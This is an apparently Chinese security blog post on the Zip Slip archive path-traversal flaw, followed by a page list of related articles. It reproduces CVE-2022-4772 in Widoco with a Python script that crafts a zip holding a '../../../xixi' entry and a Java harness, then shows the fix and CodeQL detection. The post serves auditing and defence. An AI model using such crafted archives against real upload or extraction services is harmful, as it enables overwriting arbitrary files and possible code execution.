前言

最近看到许少的推有说到Zip Slip这个漏洞导致的RCE,其实我在代码审计的时候确实发现有不少功能模块都是使用ZIP来解压,其实还是在真实系统中经常见到的。

于是想着好久没有写过博客了,想借着这次机会更新一下吧,免得读者以为我在偷懒没学习了~

Zip Slip是什么漏洞

Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。

Java中较为常见的场景是上传压缩包进行解压的时候,后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换。如果结合系统特性和某些定时任务脚本,就可能导致RCE的执行,因此该漏洞也被标记为高危漏洞。

我从先知上TGAO师傅发布的文章里面公布的poc:

import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e

其中qqq.txt是需要压缩的文件,../../../xixi是该文件在压缩包中的名字

之后在Java中使用zipEntry.getName()等方法获取的就是../../../xixi这个字符串

更多的框架Zip-Slip漏洞可以在开源项目中找到:https://github.com/snyk/zip-slip-vulnerability

漏洞分析实战

java.util.zip.ZipEntry

该类是Jdk中自带的原生类,在TGAO师傅发布的文章中介绍到了,这里就不在赘述了

Widoco Zip-Slip(CVE-2022-4772)漏洞分析

漏洞描述

WIDOCO是一个用于记录本体的向导。帮助您通过在GUI中执行一系列步骤,自动发布和创建一个丰富的、定制的本体文档。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞点在src/main/java/widoco/WidocoUtils.java文件中,通过unZipIt函数可以将zip包中的文件写入到任意可写入的文件夹中,这将影响服务器的完整性。

漏洞定位

查看1.4.17版本和Github上Master最新的版本做对比

发现是在方法Unzipit中进行了修补

漏洞复现

首先添加Widoco有漏洞版本到项目依赖中

<dependencies>
<dependency>
<groupId>com.github.dgarijo</groupId>
<artifactId>Widoco</artifactId>
<version>v1.4.16</version>
</dependency>
</dependencies> [ ... ] <repositories>
<repository>
<id>jitpack.io</id>
<url>https://jitpack.io</url>
</repository>
</repositories>

运行poc.py,设置跨越到上级目录../xixi文件

再编写漏洞利用代码,模拟真实场景下压缩包解压的情况

package javaTest;

import widoco.WidocoUtils;

public class GST {
public static void main(String[] args){
String path = GST.class.getResource("/").toString();
System.out.println("path = " + path);
String resourceName = "/poc.zip";
String outputFolder = "E:\\work\\TempVuln\\tempDir";
WidocoUtils.unZipIt(resourceName,outputFolder);
System.out.println("Done");
}
}

执行后xixi文件就直接被解压到上级目录下,造成Zip-Slip漏洞

再来看看修复方案,是判断解压的路径和设置的目标主目录是否是相等的,如果不是则抛出异常

使用CodeQL发现漏洞

首先下载目标对应版本的项目,使用如下命令创建数据库

codeql database create qldb-test -l java

创建成功后会有successful的提示

之后使用database analyze进行分析

codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif

这里的路径是CWE的分析规则,挨个进行分析

在该目录会生成一个result.sarif文件,通过vscode的sarif viewer插件打开

打开sarif文件,从RULES一栏中可以看到zipslip的漏洞就发现了

如此的漏洞,在代码审计和系统中很多开发人员都不知道,也许随手就拿来用了

Reference

[1].https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf

[2].https://github.com/snyk/zip-slip-vulnerability

[3].https://xz.aliyun.com/t/12081

[4].https://github.com/dgarijo/Widoco/pull/551

[5].https://vip.riskivy.com/detail/1607889173715488768

Zip Slip漏洞审计实战的更多相关文章

  1. PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含

    超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...

  2. Linux安全漏洞审计工具Lynis

    Linux安全漏洞审计工具Lynis   Lynis是针对类Unix系统的审计工具,它支持Unix.Linux.FreeBSD.Mac OS多种操作系统.它能对系统实施大于400种测试,以发现39个方 ...

  3. dedecmsv5.7sp1远程文件包含漏洞审计

    dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...

  4. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  5. ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...

  6. 60cms Cookies欺骗漏洞审计

    源码地址:https://files.cnblogs.com/files/ssooking/60cms.zip 运行60cms目录下的Netbox.exe即可开启Asp Web服务,默认端口80 环境 ...

  7. 格式化字符串漏洞利用实战之 njctf-decoder

    前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...

  8. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  9. PHP文件包含漏洞攻防实战

    本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...

  10. csv注入漏洞原理&&实战

    前言  为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例.  正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识 ...

随机推荐

  1. SignalR基本认识以及使用

    SignalR基本认识以及使用 什么是WebSocket.SignalR WebSocket 1.WebSocket基于TCP协议,支持二进制通信,双工通信. 2.性能和并发能力更强. 3.WebSo ...

  2. mybatis查询sql时,在不分页的情况下,自动加了limit导致接口报错

    今天在开发过程中,我遇到了很奇怪的问题.自己写的代码明明没有分页进行查询,但是打印出来的sql缺有limit 导致我getone的时候,出现了二个limit,导致接口报错. ### Cause: or ...

  3. 058_Component Bundles

  4. windows 和 linux 之间的文件传输操作

    参考:http://www.jb51.net/article/123378.htm 本文介绍,如何实现 windows 主机与 linux 虚拟机之间的文件传输. 一.获取虚拟机 IP 地址 要实现 ...

  5. 记一次前端ajax禁止使用异步async的操作

    环境: 前端layui  jquery 情况: 页面在iframe里面, 然后点击按钮,弹出输入框.点击确认,弹出框发送内容到后台, 传送数据到后台后,然后根据返回一个map给前端.前端解析数据,返回 ...

  6. 2D 消隐效果

    在触发消隐的物体(比如玩家)挂下面的代码,以及box collider,rigidbody 2d using UnityEngine; public class ColliderFader : Mon ...

  7. 2020-2021第一学期2024"DCDD"小组第十二周讨论

    2020-2021第一学期"DCDD"第十二周讨论 这次不同的是,先来一个密文吧: 53fd95b7c2bd8c1383cdcbf5b04e3880 求解! 小组名称:DCDD 小 ...

  8. pycharm 导入requests库踩坑帖

    requests库确认安装了,但是在pycharm里各种导入不了,简直要奔溃,后来看帖子,有博主"alt + enter"了一下,跳出了install选项,然后就可以了... 用个 ...

  9. 微信浏览器h5页面开发遇到问题

    1.ios不支持window.open(),要创建a链接 let elink = document.createElement('a'); elink.href = baseURL+'/onlineC ...

  10. Unity中常用的几种读取本地文件方式

    使用的命名空间如下 using LitJson;using System.Collections.Generic;using System.IO;using System.Text;using Uni ...